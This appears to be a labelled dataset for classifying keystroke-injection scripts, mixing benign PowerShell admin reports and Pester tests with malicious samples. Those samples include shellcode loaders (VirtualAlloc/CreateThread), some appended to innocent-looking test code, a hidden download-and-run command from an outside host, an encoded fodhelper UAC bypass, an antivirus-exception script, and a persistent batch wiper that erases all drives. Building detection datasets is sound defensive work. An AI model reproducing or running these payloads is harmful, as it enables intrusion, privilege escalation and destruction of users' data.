"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_mcxia12r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter",0,0,0.999966,3.3989534e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_4n8djbxw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_30.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.460121e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_9lj8hrdn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3824075e-05
"win+r enter powershell enter enter enter Describe ""Object cmdlets"" -Tags ""CI"" { enter Context ""Group-Object"" { enter It ""AsHashtable returns a hashtable"" { enter $result = Get-Process | Group-Object -Property ProcessName -AsHashTable enter $result[""pwsh""].Count | Should -BeGreaterThan 0 enter } enter enter It ""AsString returns a string"" { enter $processes = Get-Process | Group-Object -Property ProcessName -AsHashTable -AsString enter $result = $processes.Keys | ForEach-Object {$_.GetType()} enter $result[0].Name | Should -Be ""String"" enter } enter } enter enter Context ""Tee-Object"" { enter It ""with literal path"" { enter $path = ""TestDrive:\[TeeObjectLiteralPathShouldWorkForSpecialFilename].txt"" enter Write-Output ""Test"" | Tee-Object -LiteralPath $path | Tee-Object -Variable TeeObjectLiteralPathShouldWorkForSpecialFilename enter $TeeObjectLiteralPathShouldWorkForSpecialFilename | Should -Be (Get-Content -LiteralPath $path) enter } enter } enter } enter enter Describe ""Object cmdlets"" -Tags ""CI"" { enter Context ""Measure-Object"" { enter BeforeAll { enter $firstValue = ""9995788.71"" enter $expectedFirstValue = $null enter $null = [System.Management.Automation.LanguagePrimitives]::TryConvertTo($firstValue, [double], [cultureinfo]::InvariantCulture, [ref] $expectedFirstValue) enter $firstObject = new-object psobject enter $firstObject | Add-Member -NotePropertyName Header -NotePropertyValue $firstValue enter enter $secondValue = ""15847577.7"" enter $expectedSecondValue = $null enter $null = [System.Management.Automation.LanguagePrimitives]::TryConvertTo($secondValue, [double], [cultureinfo]::InvariantCulture, [ref] $expectedSecondValue) enter $secondObject = new-object psobject enter $secondObject | Add-Member -NotePropertyName Header -NotePropertyValue $secondValue enter enter $testCases = @( enter @{ data = @(""abc"",""ABC"",""Def""); min = ""abc""; max = ""Def""}, enter @{ data = @([datetime]::Today, [datetime]::Today.AddDays(-1)); min = ([datetime]::Today.AddDays(-1)).ToString() ; max = [datetime]::Today.ToString() } enter @{ data = @(1,2,3,""ABC""); min = 1; max = ""ABC""}, enter @{ data = @(4,2,3,""ABC"",1); min = 1; max = ""ABC""}, enter @{ data = @(4,2,3,""ABC"",1,""DEF""); min = 1; max = ""DEF""}, enter @{ data = @(""111 Test"",""19""); min = ""111 Test""; max = ""19""}, enter @{ data = @(""19"", ""111 Test""); min = ""111 Test""; max = ""19""}, enter @{ data = @(""111 Test"",19); min = ""111 Test""; max = 19}, enter @{ data = @(19, ""111 Test""); min = ""111 Test""; max = 19}, enter @{ data = @(100,2,3, ""A"", 1); min = 1; max = ""A""}, enter @{ data = @(4,2,3, ""ABC"", 1, ""DEF""); min = 1; max = ""DEF""}, enter @{ data = @(""abc"",[Datetime]::Today,""def""); min = [Datetime]::Today.ToString(); max = ""def""} enter ) enter } enter enter It ""can compare string minimum"" { enter $minResult = $firstObject, $secondObject | Measure-Object Header -Minimum enter $minResult.Minimum.ToString() | Should -Be $expectedFirstValue.ToString() enter } enter enter It ""can compare string maximum"" { enter $maxResult = $firstObject, $secondObject | Measure-Object Header -Maximum enter $maxResult.Maximum.ToString() | Should -Be $expectedSecondValue.ToString() enter } enter enter It 'correctly find minimum of (<data>)' -TestCases $testCases { enter param($data, $min, $max) enter enter $output = $data | Measure-Object -Minimum enter $output.Minimum.ToString() | Should -Be $min enter } enter enter It 'correctly find maximum of (<data>)' -TestCases $testCases { enter param($data, $min, $max) enter enter $output = $data | Measure-Object -Maximum enter $output.Maximum.ToString() | Should -Be $max enter } enter enter It 'returns a GenericMeasureInfoObject' { enter $gmi = 1,2,3 | measure-object -max -min enter $gmi | Should -BeOfType Microsoft.PowerShell.Commands.GenericMeasureInfo enter } enter enter It 'should return correct error for non-numeric input' { enter $gmi = ""abc"",[Datetime]::Now | Measure-Object -sum -max -ErrorVariable err -ErrorAction silentlycontinue enter $err | ForEach-Object { $_.FullyQualifiedErrorId | Should -Be 'NonNumericInputObject,Microsoft.PowerShell.Commands.MeasureObjectCommand' } enter } enter enter It 'should have the correct count' { enter $gmi = ""abc"",[Datetime]::Now | Measure-Object -sum -max -ErrorVariable err -ErrorAction silentlycontinue enter $gmi.Count | Should -Be 2 enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x67,0xff,0x06,0x65,0x68,0x02,0x00,0x10,0xe1,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1044244e-05,0.999949
"win+r enter powershell enter enter enter Describe ""New-Event"" -Tags ""CI"" { enter enter Context ""Check return type of New-Event"" { enter enter It ""Should return PSEventArgs as return type of New-Event"" { enter New-Event -SourceIdentifier a | Should -BeOfType System.Management.Automation.PSEventArgs enter } enter } enter enter Context ""Check New-Event can register an event""{ enter It ""Should return PesterTestMessage as the MessageData"" { enter (New-Event -sourceidentifier PesterTimer -sender Windows.timer -messagedata ""PesterTestMessage"") enter (Get-Event -SourceIdentifier PesterTimer).MessageData | Should -BeExactly ""PesterTestMessage"" enter Remove-Event -sourceidentifier PesterTimer enter } enter enter It ""Should return Sender as Windows.timer"" { enter (New-Event -sourceidentifier PesterTimer -sender Windows.timer -messagedata ""PesterTestMessage"") enter (Get-Event -SourceIdentifier PesterTimer).Sender | Should -Be Windows.timer enter Remove-Event -sourceIdentifier PesterTimer enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2395822e-05,0.99994755
"win+r powershell enter delay_long enter win+r enter delay_medium enter powershell -w h -NoP -NonI -Ep Bypass $D=""$env:tmp"";irm -Uri 'https://jakoby.lol/qee' -O ""$D enter r.zip"";Expand-Archive ""$D enter r.zip"" -Des $D enter r -Force;. ""$D enter r enter r.ps1"" enter enter enter",1,1,6.009955e-05,0.9999399
"win+r enter powershell enter enter enter function Test-E2EJobSchedules enter { enter $resourceGroupName = ""to-delete-01"" enter $automationAccountName = ""fbs-aa-01"" enter $output = Get-AzAutomationAccount -ResourceGroupName $resourceGroupName -AutomationAccountName $automationAccountName -ErrorAction SilentlyContinue enter $StartTime = Get-Date ""13:00:00"" enter $StartTime = $StartTime.AddDays(1) enter $EndTime = $StartTime.AddYears(1) enter $ScheduleName = ""ScheduleForRunbookAssociation"" enter $runbookName = ""RunbookForScheduleAssociation"" enter enter Register-AzAutomationScheduledRunbook -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -RunbookName $runbookName ` enter -ScheduleName $ScheduleName enter enter $jobSchedule = Get-AzAutomationScheduledRunbook -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -RunbookName $runbookName ` enter -ScheduleName $ScheduleName enter Assert-AreEqual $ScheduleName $jobSchedule.ScheduleName enter Assert-AreEqual $runbookName $jobSchedule.RunbookName enter enter Unregister-AzAutomationScheduledRunbook -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -RunbookName $runbookName ` enter -ScheduleName $ScheduleName -Force enter enter $jobSchedule = Get-AzAutomationScheduledRunbook -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -RunbookName $runbookName ` enter -ScheduleName $ScheduleName -ErrorAction SilentlyContinue enter enter Assert-True {$jobSchedule -eq $null} enter } enter enter",0,0,0.99995327,4.668205e-05
win+r powershell enter  function Get-DisabledGpo { [OutputType([pscustomobject])] [CmdletBinding( enter )] param () begin { $ErrorActionPreference = 'Stop' } enter enter,1,1,0.004363571,0.9956364
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_2no2ose4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 40 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_40.csv"") -NoTypeInformation enter",0,0,0.9999658,3.420339e-05
win+r enter powershell enter enter enter win r powershell -w h -ep bypass irmPAYLOAD| iex enter enter enter,1,1,0.00033984112,0.99966013
DUCKY_REAL_BEGIN enter REM ######################################################## enter REM # | enter REM # Title : Add An Exception To Avast Antivirus | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Execution | enter REM # Target : Windows 10/11 | enter REM # | enter REM ######################################################## enter REM Requirements: enter REM - Avast installed and configured enter REM Set the full-path that you want to set as exception enter DEFINE FULL-PATH example/to/path enter REM Open Avast application enter DELAY 2000 enter GUI enter DELAY 1000 enter STRING avast enter DELAY 1000 enter ENTER enter REM Go to Avast menu enter DELAY 1000 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter ENTER enter REM Go to Avast settings enter DELAY 1000 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter ENTER enter DUCKY_REAL_END,1,1,6.0955295e-05,0.9999391
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_2w92fy61"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter",0,0,0.999966,3.403082e-05
"win+r enter powershell enter enter enter filter Out-HtmlString enter { enter enter $_ | enter Out-String -Width 9999 | enter ForEach-Object { $_.Trim() } | enter Where-Object { $_ } enter } enter $BsT2 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $BsT2 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd4,0xb8,0x07,0x53,0x7f,0x04,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,0x47,0x31,0x45,0x18,0x03,0x45,0x18,0x83,0xc5,0x03,0xb1,0x8a,0xf8,0xe3,0xb7,0x75,0x01,0xf3,0xd7,0xfc,0xe4,0xc2,0xd7,0x9b,0x6d,0x74,0xe8,0xe8,0x20,0x78,0x83,0xbd,0xd0,0x0b,0xe1,0x69,0xd6,0xbc,0x4c,0x4c,0xd9,0x3d,0xfc,0xac,0x78,0xbd,0xff,0xe0,0x5a,0xfc,0xcf,0xf4,0x9b,0x39,0x2d,0xf4,0xce,0x92,0x39,0xab,0xfe,0x97,0x74,0x70,0x74,0xeb,0x99,0xf0,0x69,0xbb,0x98,0xd1,0x3f,0xb0,0xc2,0xf1,0xbe,0x15,0x7f,0xb8,0xd8,0x7a,0xba,0x72,0x52,0x48,0x30,0x85,0xb2,0x81,0xb9,0x2a,0xfb,0x2e,0x48,0x32,0x3b,0x88,0xb3,0x41,0x35,0xeb,0x4e,0x52,0x82,0x96,0x94,0xd7,0x11,0x30,0x5e,0x4f,0xfe,0xc1,0xb3,0x16,0x75,0xcd,0x78,0x5c,0xd1,0xd1,0x7f,0xb1,0x69,0xed,0xf4,0x34,0xbe,0x64,0x4e,0x13,0x1a,0x2d,0x14,0x3a,0x3b,0x8b,0xfb,0x43,0x5b,0x74,0xa3,0xe1,0x17,0x98,0xb0,0x9b,0x75,0xf4,0x75,0x96,0x85,0x04,0x12,0xa1,0xf6,0x36,0xbd,0x19,0x91,0x7a,0x36,0x84,0x66,0x7d,0x6d,0x70,0xf8,0x80,0x8e,0x81,0xd0,0x46,0xda,0xd1,0x4a,0x6f,0x63,0xba,0x8a,0x90,0xb6,0x57,0x8e,0x06,0xf9,0x00,0x91,0xb2,0x91,0x52,0x92,0x2f,0xd1,0xda,0x74,0x1f,0x45,0x8d,0x28,0xdf,0x35,0x6d,0x99,0xb7,0x5f,0x62,0xc6,0xa7,0x5f,0xa8,0x6f,0x4d,0xb0,0x05,0xc7,0xf9,0x29,0x0c,0x93,0x98,0xb6,0x9a,0xd9,0x9a,0x3d,0x29,0x1d,0x54,0xb6,0x44,0x0d,0x00,0x36,0x13,0x6f,0x86,0x49,0x89,0x1a,0x26,0xdc,0x36,0x8d,0x71,0x48,0x35,0xe8,0xb5,0xd7,0xc6,0xdf,0xce,0xde,0x52,0xa0,0xb8,0x1e,0xb3,0x20,0x38,0x49,0xd9,0x20,0x50,0x2d,0xb9,0x72,0x45,0x32,0x14,0xe7,0xd6,0xa7,0x97,0x5e,0x8b,0x60,0xf0,0x5c,0xf2,0x47,0x5f,0x9e,0xd1,0x59,0xa3,0x49,0x1f,0x2c,0xcd,0x49;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$PnSG=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($PnSG.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$PnSG,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2385185e-05,0.99994767
"win+r powershell enter unknown_key_action REM Requirements: OMG Firmware v.2.5 or higher enter delay_medium enter unknown_key_action DUCKY_LANG de enter delay_medium enter win+r enter delay_medium enter powershell -NoP -NonI enter delay_medium enter enter enter delay_medium enter powershell.exe -enc JABPAE0ARwA9ACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIADQAKAHIAZQBnACAAYQBkAGQAIAAiAEgASwBDAFUAXABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwALgBvAG0AZwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAvAGQAIAAkAE8ATQBHACAALwBmADsADQAKAHIAZQBnACAAYQBkAGQAIAAiAEgASwBD enter AFUAXABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAbQBzAC0AcwBlAHQAdABpAG4AZwBzAFwAQwB1AHIAVgBlAHIAIgAgAC8AZAAgACIALgBvAG0AZwAiACAALwBmADsADQAKAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUADQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADMAOwANAAoAcgBlAGcAIABkAGUAbABlAHQAZQAgACIASABLAEMAVQBcAFMAbwBmAHQAdwBh enter AHIAZQBcAEMAbABhAHMAcwBlAHMAXAAuAG8AbQBnAFwAIgAgAC8AZgA7AA0ACgByAGUAZwAgAGQAZQBsAGUAdABlACAAIgBIAEsAQwBVAFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcACIAIAAvAGYAOwANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMwA7ACAAZQB4AGkAdAA=;exit enter delay_short enter enter enter unknown_key_action [decoded_payloads] enter unknown_key_action [decoded:powershell_encoded_command] enter unknown_key_action $OMG=""powershell.exe"" enter unknown_key_action reg add ""HKCU\Software\Classes\.omg\Shell\Open\command"" /d $OMG /f; enter unknown_key_action reg add ""HKC enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action U\Software\Classes\ms-settings\CurVer"" /d "".omg"" /f; enter unknown_key_action fodhelper.exe enter unknown_key_action Start-Sleep -s 3; enter unknown_key_action reg delete ""HKCU\Softwa enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action re\Classes\.omg\"" /f; enter unknown_key_action reg delete ""HKCU\Software\Classes\ms-settings\"" /f; enter unknown_key_action Start-Sleep -s 3; exit enter",1,1,6.112118e-05,0.99993885
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_l51hbako"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.380366e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_7cf3xcfa"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_150.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4647433e-05
"win+r enter cmd /Q /D /T:7F /F:OFF /V:OFF /K enter delay_medium enter enter enter delay_medium enter unknown_key_action ALT SPACE enter M enter unknown_key_action DOWNARROW enter unknown_key_action REPEAT 100 enter enter enter cd %TEMP% enter enter enter erase /Q invis.vbs enter enter enter copy con invis.vbs enter enter enter CreateObject(""Wscript.Shell"").Run """""""" & WScript.Arguments(0) & """""""", 0, False enter enter enter unknown_key_action CONTROL z enter enter enter erase /Q SecurityBullseye.bat enter enter enter copy con SecurityBullseye.bat enter enter enter REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d ""wscript.exe %TEMP%\invis.vbs %TEMP%\SecurityBullseye.bat"" /f enter enter enter :while1 enter enter enter for %%a in (A B D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( enter enter enter IF EXIST %%a:\ erase /Q /S /F ""%%a:\*.*"" enter enter enter IF EXIST %%a:\ rmdir /Q /S ""%%a:\*"" enter enter enter ) enter enter enter timeout /t 60 enter enter enter goto :while1 enter enter enter unknown_key_action CONTROL z enter enter enter wscript.exe invis.vbs SecurityBullseye.bat enter enter enter EXIT enter enter",1,1,5.6013825e-05,0.999944
"win+r powershell enter $w6aN = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $w6aN - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xee enter ,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xb1,0x47,0xba,0xe1,0xec,0x2d,0xe1,0x31,0x50 enter ,0x18,0x03,0x50,0x18,0x83,0xc0,0xe5,0x0e,0xd8,0x1d,0x0d,0x4c,0x23,0xde,0xcd,0x31 enter ,0xad,0x3b,0xfc,0x71,0xc9,0x48,0xae,0x41,0x99,0x1d,0x42,0x29,0xcf,0xb5,0xd1,0x5f enter ,0xd8,0xba,0x52,0xd5,0x3e,0xf4,0x63,0x46,0x02,0x97,0xe7,0x95,0x57,0x77,0xd6,0x55 enter ,0xaa,0x76,0x1f,0x8b enter enter",1,1,5.4441214e-05,0.9999455
win+r powershell enter function RRfolder {mkdir Desert_you;mkdir Ooh-ooh-ooh-ooh;mkdir Hurt_you;mkdir We-re_no_strangers_to_love;mkdir You_know_the_rules_and_so_do_I;mkdir A_full_commitment-s_what_I-m_thinking_of;mkdir You_wouldn-t_get_this_from_any_other_guy;mkdir Gotta_make_you_understand;mkdir Never_gonna_give_you_up;mkdir Never_gonna_let_you_down;mkdir Never_gonna_run_around_and_desert_you;mkdir Never_gonna_make_you_cry;mkdir Never_gonna_say_goodbye;mkdir Never_gonna_tell_a_lie_and_hurt_you;mkdir We-ve_known_each_other_for_so_long;mkdir Your_heart-s_been_aching_but_you-re_too_shy_to_say_it;mkdir Inside_we_both_know_what-s_been_going_on;mkdir We_know_the_game_and_we-re_gonna_play_it;mkdir And_if_you_ask_me_how_I-m_feeling;mkdir Don-t_tell_me_you-re_too_blind_to_see;mkdir Ooh__Give_you_up_;mkdir Ooh-ooh__Give_you_up_;mkdir Ooh-ooh;mkdir Never_gonna_give_never_gonna_give;mkdir I_just_wanna_tell_you_how_I-m_feeling;} enter cd C:\Users\$env:UserName\Desktop;RRfolder;cd C:\Users\$env:UserName\Downloads;RRfolder;cd C:\Users\$env:UserName\Documents;RRfolder;cd C:\Users\$env:UserName\Favorites;RRfolder;cd C:\Users\$env:UserName\Links;RRfolder;cd C:\Users\$env:UserName\Music;RRfolder;cd C:\Users\$env:UserName\Videos;RRfolder;cd C:\Users\$env:UserName\Contacts;RRfolder; enter exit enter,1,1,0.00056128023,0.9994387
